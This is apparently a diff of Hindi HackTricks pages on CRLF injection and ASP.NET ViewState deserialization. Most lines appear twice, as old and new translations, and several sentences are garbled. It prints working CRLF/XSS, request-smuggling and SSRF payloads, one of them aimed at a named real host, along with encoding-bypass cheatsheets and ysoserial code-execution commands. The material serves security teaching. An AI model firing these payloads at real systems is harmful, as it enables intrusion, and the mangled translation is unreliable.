इसलिए, CRLF अंदरघात संवेदनशीलता का उल्लंघन करके हमलावर लॉग फ़ाइल में नकली एंट्री बना सकता है ताकि वह अपने खुद के दुष्ट कार्यों को छिपाए। हमलावर शाब्दिक रूप से पेज हाइजैकिंग कर रहा है और प्रतिक्रिया को संशोधित कर रहा है। उदाहरण के लिए, यहां एक स्थिति का कल्पना करें जहां हमलावर के पास व्यवस्थापक पासवर्ड है और वह restrictedaction पैरामीटर को निषिद्ध कर दिया है, जिसे केवल एक व्यवस्थापक द्वारा उपयोग किया जा सकता है।
समस्या यह है कि यदि प्रशासक को ध्यान आता है कि एक अज्ञात आईपी ने निषिद्ध क्रिया पैरामीटर का उपयोग किया है, तो उसे कुछ गड़बड़ होने का अहसास होगा। हालांकि, अब यह ऐसा दिखता है कि कमांड लोकलहोस्ट द्वारा जारी की गई थी (और इसलिए संभवतः सर्वर के उपयोगकर्ता के पास पहुंच है, जैसे एक व्यवस्थापक) इसे संदेहास्पद नहीं लगता।
समस्या यह है कि यदि प्रशासक को ध्यान आता है कि एक अज्ञात आईपी ने restrictedaction पैरामीटर का उपयोग किया है, तो उसे कुछ गड़बड़ लगेगी। हालांकि, अब यह ऐसा दिखता है कि कमांड localhost द्वारा जारी की गई थी (और इसलिए संभवतः सर्वर तक पहुंच वाले किसी व्यवस्थापक द्वारा) इसे संदेहास्पद नहीं लगता।
%0d%0a के साथ शुरू होने वाला पूरा प्रश्नांश सर्वर द्वारा एक पैरामीटर के रूप में हैंडल किया जाएगा। इसके बाद एक और & है जिसमें प्रतिबंधित क्रिया पैरामीटर है जो सर्वर द्वारा एक और पैरामीटर के रूप में पार्स किया जाएगा। यह असल में वही प्रश्नांश होगा जैसा कि:
%0d%0a के साथ शुरू होने वाला पूरा प्रश्नांश सर्वर द्वारा एक पैरामीटर के रूप में हैंडल किया जाएगा। इसके बाद एक और & है जिसमें पैरामीटर restricted action है जो सर्वर द्वारा एक और पैरामीटर के रूप में पार्स किया जाएगा। यह असल में वही प्रश्नांश होगा जैसा कि:
```
/index.php?page=home&restrictedaction=edit
```
### HTTP Response Splitting
### HTTP प्रतिक्रिया विभाजन
#### विवरण
HTTP प्रतिक्रिया का हेडर और इसके बॉडी को CRLF वर्णों द्वारा अलग किया जाता है, इसलिए हमलावार व्यक्ति इन्हें इंजेक्ट करने का प्रयास कर सकता है। CRLFCRLF का संयोजन ब्राउज़र को बताएगा कि हेडर समाप्त हो गया है और बॉडी शुरू हो रहा है। इसका मतलब है कि वह अब प्रतिक्रिया बॉडी में डेटा लिख सकता है जहां HTML कोड संग्रहीत होता है। इससे एक क्रॉस-साइट स्क्रिप्टिंग संवर्धन हो सकता है।
HTTP प्रतिक्रिया का हेडर और इसके बॉडी को CRLF (कैरिज रिटर्न लाइन फीड) वर्णों द्वारा अलग किया जाता है, इसलिए किसी हमलावर को उन्हें इंजेक्ट करने का प्रयास कर सकता है। CRLFCRLF का संयोजन ब्राउज़र को बताएगा कि हेडर समाप्त हो गया है और बॉडी शुरू हो रहा है। इसका मतलब है कि वह अब प्रतिक्रिया बॉडी में डेटा लिख सकता है जहां HTML कोड संग्रहीत होता है। इससे एक क्रॉस-साइट स्क्रिप्टिंग संवर्धन हो सकता है।
#### XSS के लिए HTTP Response Splitting का एक उदाहरण
#### XSS के लिए HTTP प्रतिक्रिया विभाजन का एक उदाहरण
सोचें कि एक ऐप्लिकेशन एक कस्टम हेडर सेट करती है, उदाहरण के लिए:
```
X-Your-Name: Bob
```
शीर्षक का मान "नाम" नामक एक get पैरामीटर के माध्यम से सेट किया जाता है। यदि कोई URL कोडिंग स्थान पर नहीं है और मान सीधे शीर्षक में प्रतिबिंबित होता है, तो हमलावार एक व्यक्ति को ऊपर उल्लिखित CRLFCRLF का संयोजन सम्मिलित करने के लिए ब्राउज़र को बताने के लिए संभव हो सकता है कि अनुरोध शरीर शुरू होता है। इस तरीके से वह XSS पेलोड जैसे डेटा सम्मिलित कर सकता है, उदाहरण के लिए:
शीर्षक की मान्यता "नाम" नामक एक get पैरामीटर के माध्यम से सेट की जाती है। यदि कोई URL कोडिंग स्थान पर नहीं है और मान्यता सीधे शीर्षक में प्रतिबिंबित होती है, तो हमें बताने के लिए एक आक्रमणकारी को ऊपर उल्लिखित CRLFCRLF का संयोजन सम्मिलित करने के लिए संभव हो सकता है कि ब्राउज़र को यह कहने के लिए कि अनुरोध शरीर शुरू होता है। इस तरीके से वह XSS पेलोड जैसे डेटा सम्मिलित कर सकता है, उदाहरण के लिए:
```
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
```
@ -88,13 +88,13 @@ X-Your-Name: Bob
```
Location: http://myweb.com
```
**अन्य उदाहरण: (से** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
**दूसरा उदाहरण: (स्रोत** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### URL पथ में
आप URL पथ में **पेलोड** भेजकर सर्वर से **प्रतिक्रिया** को नियंत्रित कर सकते हैं:
आप URL पथ में पेलोड भेज सकते हैं ताकि सर्वर से प्रतिक्रिया को नियंत्रित किया जा सके:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
@ -105,16 +105,16 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
#### विवरण
CRLF इंजेक्शन का उपयोग करके एक हमलावर्धक भी HTTP हेडर्स डाल सकता है जो ब्राउज़र के XSS फ़िल्टर या समान मूल नीति जैसे सुरक्षा युक्तियों को पराजित करने के लिए उपयोग किए जा सकते हैं। इससे हमलावर्धक को CSRF टोकन की तरह संवेदनशील जानकारी प्राप्त करने में सक्षम होता है। वह कुकीज़ भी सेट कर सकता है जिनका उपयोग हमलावर्धक को पीड़ित को अपने खाते में लॉग इन करने या अन्यथा अप्रयोज्य [क्रॉस-साइट स्क्रिप्टिंग (XSS) संकट](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) का उपयोग करके किया जा सकता है।
CRLF इंजेक्शन का उपयोग करके एक हमलावर्धक भी HTTP हेडर्स डाल सकता है जिनका उपयोग सुरक्षा तंत्रों को पराजित करने के लिए किया जा सकता है, जैसे ब्राउज़र के XSS फ़िल्टर या समान मूल नीति। इससे हमलावर्धक को CSRF टोकन की तरह संवेदनशील जानकारी प्राप्त करने में सक्षम होता है। वह कुकीज़ भी सेट कर सकता है जिनका उपयोग हमलावर्धक को पीड़ित का खाता में लॉगिन करने या अन्यथा अप्रयोज्य [क्रॉस-साइट स्क्रिप्टिंग (XSS) संकट](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) का उपयोग करके उचित कर सकता है।
#### संवेदनशील जानकारी निकालने के लिए HTTP हेडर इंजेक्शन का उदाहरण
यदि एक हमलावर्धक CORS (क्रॉस ऑरिजिन रिसोर्स शेयरिंग) को सक्रिय करने वाले HTTP हेडर्स को इंजेक्ट कर सकता है, तो वह जावास्क्रिप्ट का उपयोग करके SOP (समान मूल नीति) द्वारा संरक्षित संसाधनों तक पहुंच सकता है जो अलग-अलग मूलों की साइटों को एक दूसरे तक पहुंचने से रोकती है।
यदि एक हमलावर्धक CORS (क्रॉस ऑरिजिन रिसोर्स शेयरिंग) को सक्रिय करने वाले HTTP हेडर्स को इंजेक्ट कर सकता है, तो वह जावास्क्रिप्ट का उपयोग करके संसाधनों तक पहुंच सकता है जो SOP (समान मूल नीति) द्वारा संरक्षित होते हैं, जो अलग-अलग मूलों की साइटों को एक दूसरे तक पहुंचने से रोकती है।
### SSRF में नया HTTP अनुरोध
CRLF इंजेक्शन का दुरुपयोग करके आप एक **नया HTTP अनुरोध बना सकते हैं और इसे इंजेक्ट कर सकते हैं**।\
PHP में `SoapClient` डेसीरियलाइज़ेशन गैजेट का उपयोग करके एक अच्छा उदाहरण दिया जा सकता है। यह कक्षा `user_agent` पैरामीटर के भीतर CRLF के प्रति संवेदनशील है जिससे नए हेडर और बॉडी सामग्री को **इंजेक्ट करने** की अनुमति होती है। हालांकि, आप इस संकट का दुरुपयोग करके नए HTTP अनुरोध को **इंजेक्ट करने** की भी सक्षम हो सकते हैं:
PHP में `SoapClient` डेसीरियलाइज़ेशन गैजेट का उपयोग करके एक अच्छा उदाहरण दिया जा सकता है। इस कक्षा में `user_agent` पैरामीटर के अंदर CRLF के प्रति विकल्पनीयता होती है जिससे नए हेडर और बॉडी सामग्री को **इंजेक्ट करने में सक्षम होता है**। हालांकि, आप इस संकट का दुरुपयोग करके नए HTTP अनुरोध को **इंजेक्ट करने में सक्षम हो सकते हैं:**
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
@ -141,52 +141,52 @@ $client->__soapCall("test", []);
```
### हेडर इंजेक्शन करके रिक्वेस्ट स्मगलिंग
आप महत्वपूर्ण हेडर्स को इंजेक्ट कर सकते हैं ताकि **बैक-एंड संपर्क को खोले रखें** प्रारंभिक रिक्वेस्ट के उत्तर के बाद:
आप महत्वपूर्ण हेडर्स को इंजेक्ट कर सकते हैं ताकि **बैक-एंड कनेक्शन खुली रहे** प्रारंभिक रिक्वेस्ट के उत्तर के बाद:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
तो, **एक दूसरी अनुरोध** निर्दिष्ट करें। यहां आपके पास एक **क्लासिक** [**अनुरोध अपराध**](http-request-smuggling/) है जिसमें सर्वर द्वारा संक्रमण के बाद अतिरिक्त **हडर/बॉडी** जोड़े जाते हैं।\
फिर, **एक दूसरी रिक्वेस्ट निर्दिष्ट करें**। यहां आपके पास एक **क्लासिक** [**रिक्वेस्ट स्मग्लिंग**](http-request-smuggling/) है जिसमें सर्वर द्वारा संक्रमण के बाद अतिरिक्त **हडर/बॉडी** जोड़े जाते हैं।\
यहां दो से अधिक पार-उपयोगकर्ता शोषण के लिए कुछ विकल्प हैं।
या तो अगले उपयोगकर्ता के अनुरोध या वेब कैश को दूषित करने के लिए एक **हानिकारक प्रीफिक्स** निर्दिष्ट करें:
या तो अपने प्रेफिक्स में एक **हानिकारक प्रारंभ** निर्दिष्ट करें ताकि आगामी उपयोगकर्ता की रिक्वेस्ट या वेब कैश को दूषित किया जा सके:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
या हमारे प्रीफिक्स को ट्रेलिंग जंक के साथ मिलाकर एक पूर्ण दूसरा अनुरोध बनाने के लिए तैयार करें ताकि **प्रतिक्रिया कतार दूषित**िया जा सके।
या अपने प्रेफिक्स को तालिका जंक के साथ मिलाकर एक पूर्ण दूसरी रिक्वेस्ट बनाने के लिए तैयार करें ताकि **प्रतिक्रिया कतार दूषित** जा सके।
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए [**मूल स्रोत की जांच करें**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)।
### मेमकैश अपवाद
### मेमकैश इंजेक्शन
मेमकैश एक **कलियर पाठ प्रोटोकॉल का उपयोग करने वाला कुंजी-मूल्य संग्रह** है। अधिक जानकारी के लिए:
मेमकैश एक **कुंजी-मान-संग्रह है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है**। अधिक जानकारी के लिए देखें:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
यदि कोई प्लेटफॉर्म **एक HTTP अनुरोध से डेटा लेती है और इसे सेनिटाइज़ नहीं करके** एक **मेमकैश** सर्वर के लिए **अनुरोध** करने के लिए उपयोग करती है, तो हमलावर इस व्यवहार का दुरुपयोग कर सकता है और **नए मेमकैश कमांड घुसाने** का
यदि कोई प्लेटफॉर्म **एक HTTP रिक्वेस्ट से डेटा लेती है और इसे सेनिटाइज़ नहीं करके** एक **मेमकैश** सर्वर क**रिक्वेस्ट** करने के लिए उपयोग कर रही है, तो हमलावर इस व्यवहार का दुरुपयोग कर सकता है और **नए मेमकैश कमांड इंजेक्शन** कर सकता है
उदाहरण के लिए, मूल खोज में, कैश कुंजीयों का उपयोग उपयोगकर्ता को उस IP और पोर्ट को कनेक्ट करने के लिए कराया गया था, और हमलावर यहां तक कि वे **मेमकैश कमांड घुसाने** कर सकते थे जो **कैश को दूषित करेगा** और विक्टिम के विवरण (उपयोगकर्ता नाम और पासवर्ड सहित) को हमलावर के सर्वरों को भेजेगा:
उदाहरण के लिए, मूल खोज में, कैश कुंजी का उपयोग उपयोगकर्ता को उस IP और पोर्ट को कनेक्ट करने के लिए कराया जाता था, और हमलावर **मेमकैश कमांड इंजेक्शन** कर सकता था जो उपयोगकर्ता के विवरण (उपयोगकर्ता नाम और पासवर्ड सहित) को हमलावर के सर्वरों को भेजने के लिए **कैश को दूषित** करता था:
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे मेमकैश प्रतिक्रियाओं को डिसिंक करहैं ताकि हमलावर को उन उपयोगकर्ताओं के ईमेल पते और पोर्ट भेज सके जिनके बारे में हमलावर को ज्ञात नहीं था:
इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे मेमकैश प्रतिक्रियाओं को डिसिंक करके उन उपयोगकर्ताओं को अपने ईमेल के जिनके बारे में हमलावर को ज्ञात नहीं था, अपने आईपी और पोर्ट भेज सकते थे:
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
**पूरी जानकारी के लिए** [**मूल लेख पढ़ें**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
**पूरी जानकारी के लिए** [**मूल लेख**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **को पढ़ें**\*\*\*\*
## CRLF इंजेक्शन संकट के प्रभाव
CRLF इंजेक्शन के प्रभाव भिन्न होते हैं और सभी क्रॉस-साइट स्क्रिप्टिंग से सूचना विफलता तक के प्रभाव शामिल होते हैं। यह विक्टिम के ब्राउज़र में XSS फ़िल्टर और समान मूल नीति जैसी कुछ सुरक्षा प्रतिबंधों को निष्क्रिय कर सकता है, जिससे वे दुष्ट हमलों के प्रति संवेदनशील हो जाते हैं।
CRLF इंजेक्शन के प्रभाव भिन्न होते हैं और जानकारी खुलासा करने के सभी प्रभावों को भी शामिल करते हैं। यह पीड़ित ब्राउज़रों में क्रॉस-साइट स्क्रिप्टिंग के सभी प्रभावों को निष्क्रिय कर सकता है, जैसे XSS फ़िल्टर और समान मूल नीति, जो उपयोगकर्ताओं को आपत्तिजनक हमलों के प्रति संवेदनशील बना देती हैं।
### वेब अनुप्रयोगों में CRLF / HTTP हेडर इंजेक्शन कैसे रोकें
### वेब अनुप्रयोगों में CRLF / HTTP हेडर इंजेक्शन को कैसे रोकें
सबसे अच्छा निवारण तकनीक है कि प्रतिक्रिया हेडर में सीधे उपयोगकर्ता इनपुट का उपयोग न करें। यदि यह संभव नहीं है, तो आपको हमेशा CRLF विशेष वर्णों को एनकोड करने के लिए एक फ़ंक्शन का उपयोग करना चाहिए। एक अच्छा वेब अनुप्रयोग सुरक्षा अच्छा अभ्यास है कि आप अपनी प्रोग्रामिंग भाषा को एक संस्करण में अपडेट करें जो CR और LF को HTTP हेडर सेट करने वाले फ़ंक्शनों में घुसाने नहीं देता है।
सबसे अच्छा निवारण तकनीक यह है कि प्रतिक्रिया हेडर में सीधे उपयोगकर्ता इनपुट का उपयोग न करें। यदि यह संभव नहीं है, तो आपको हमेशा CRLF विशेष वर्णों को एनकोड करने के लिए एक फ़ंक्शन का उपयोग करना चाहिए। एक अच्छा वेब अनुप्रयोग सुरक्षा अच्छा अभ्यास है कि आप अपनी प्रोग्रामिंग भाषा को एक संस्करण में अपडेट करें जो CR और LF को HTTP हेडर सेट करने वाले फ़ंक्शनों में इंजेक्शन करने की अनुमति नहीं देता है।
### CHEATSHEET
```
@ -210,22 +210,23 @@ CRLF इंजेक्शन के प्रभाव भिन्न हो
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## उपकरण
## स्वचालित उपकरण
{% embed url="https://github.com/dwisiswant0/crlfuzz" %}
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## ब्रूट-फोर्स डिटेक्शन सूची
## ब्रूट-फोर्स पता लेने की सूची
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
## संदर्भ
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (_अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -233,10 +234,10 @@ CRLF इंजेक्शन के प्रभाव भिन्न हो
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की अनुमति** चाहिए? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें।
* **अपने हैकिंग ट्रिक्स को हमें PR के माध्यम से सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को साझा करें।**
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की उपलब्धता** चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PR जमा करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में अपने हैकिंग ट्रिक्स साझा करें।**
</details>

View file

@ -5,27 +5,27 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण** करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके अपना योगदान दें।**
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
{% embed url="https://www.stmcyber.com/careers" %}
## ViewState क्या है
**ViewState** एक विधि है जिसका एएसपी.नेट फ्रेमवर्क डिफ़ॉल्ट रूप से उपयोग करता है वेब पेज के बीच पेज और नियंत्रण मानों को **संरक्षित करने के लिए**। जब पेज के लिए HTML रेंडर किया जाता है, पेज की वर्तमान स्थिति और पोस्टबैक के दौरान रखे जाने वाले मानों को base64-कोड किए गए स्ट्रिंग में संकलित किया जाता है और ViewState छिपे हुए फ़ील्ड या फ़ील्ड में आउटपुट किया जाता है।\
**ViewState** एक विधि है जिसका एएसपी.नेट फ्रेमवर्क डिफ़ॉल्ट रूप से उपयोग करता है वेब पेज के बीच पेज और नियंत्रण मानों को **संरक्षित करने** के लिए। जब पेज के लिए HTML बनाया जाता है, पेज की वर्तमान स्थिति और पोस्टबैक के दौरान रखे जाने वाले मानों को base64-कोड किए गए स्ट्रिंग में संकलित किया जाता है और ViewState छिपे हुए फ़ील्ड या फ़ील्ड में आउटपुट किया जाता है।\
ViewState सूचना के लिए निम्नलिखित गुणों या गुणों का उपयोग किया जा सकता है:
* Base64
* EnableViewStateMac और ViewStateEncryptionMode विशेषता का उपयोग करके परिभाषित किया जा सकता है
* Base64 + MAC (संदेश प्रमाणिकता कोड) सक्षम
* Base64 + MAC (संदेश प्रमाणिकरण कोड) सक्षम
* EnableViewStateMac विशेषता का उपयोग करके परिभाषित किया जा सकता है
* Base64 + एन्क्रिप्टेड
* viewStateEncryptionMode विशेषता का उपयोग करके परिभाषित किया जा सकता है
@ -52,9 +52,9 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
```
### परीक्षण मामला 1.5 - परीक्षण मामला 1 की तरह, ViewState कुकी सर्वर द्वारा नहीं भेजी जाती है
डेवलपर्स ViewState को एक HTTP अनुरोध का हिस्सा नहीं बनाने के लिए हटा सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी)।
हम मान सकते हैं कि यदि ViewState मौजूद नहीं है, तो उनका अमलन किया गया है ViewState डेसीरियलाइज़ेशन के संबंध में किसी भी संभावित सुरक्षा खतरे से सुरक्षित है।
हालांकि, ऐसा नहीं है। यदि हम अनुरोध बॉडी में ViewState पैरामीटर जोड़ते हैं और ysoserial का उपयोग करके बनाए गए हमारे सीरीकलाइज़ किए गए पेलोड को भेजते हैं, तो हम अभी भी कोड निष्पादन प्राप्त कर सकते हैं जैसा कि मामला 1 में दिखाया गया है।
डेवलपर ViewState को एक HTTP अनुरोध का हिस्सा नहीं बनाने के लिए हटा सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी)।\
हम मान सकते हैं कि यदि ViewState मौजूद नहीं है, तो उनका अमलन किया गया है ViewState डेसीरियलाइज़ेशन के संबंध में किसी भी संभावित सुरक्षा खतरे से सुरक्षित है।\
हालांकि, ऐसा नहीं है। यदि हम अनुरोध बॉडी में ViewState पैरामीटर जोड़ते हैं और ysoserial का उपयोग करके बनाए गए हमारे सीरीकलाइज़ किए गए पेलोड को भेजते हैं, तो हम फिर भी कोड का निष्पादन कर सकते हैं जैसा कि मामला 1 में दिखाया गया है।
### परीक्षण मामला: 2 - .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -73,11 +73,11 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
</system.web>
</configuration>
```
इस बार पैरामीटर MAC सुरक्षित है, इसलिए हम हमला सफलतापूर्वक करने के लिए पहले उपयोग किए गए कुंजी की आवश्यकता होगी। इस मामले में, BurpSuite हमें बताएगा कि पैरामीटर MAC सुरक्षित है:
इस बार पैरामीटर MAC सुरक्षित है, इसलिए हमें हमला सफलतापूर्वक करने के लिए पहले उपयोग किया गया कुंजी की आवश्यकता होगी। इस मामले में, BurpSuite हमें बताएगा कि पैरामीटर MAC सुरक्षित है:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png)
आप [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का उपयोग करके उपयोग किए गए कुंजी को खोजने का प्रयास कर सकते हैं।
आप [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का उपयोग करके उपयोग की गई कुंजी को खोजने का प्रयास कर सकते हैं।
```
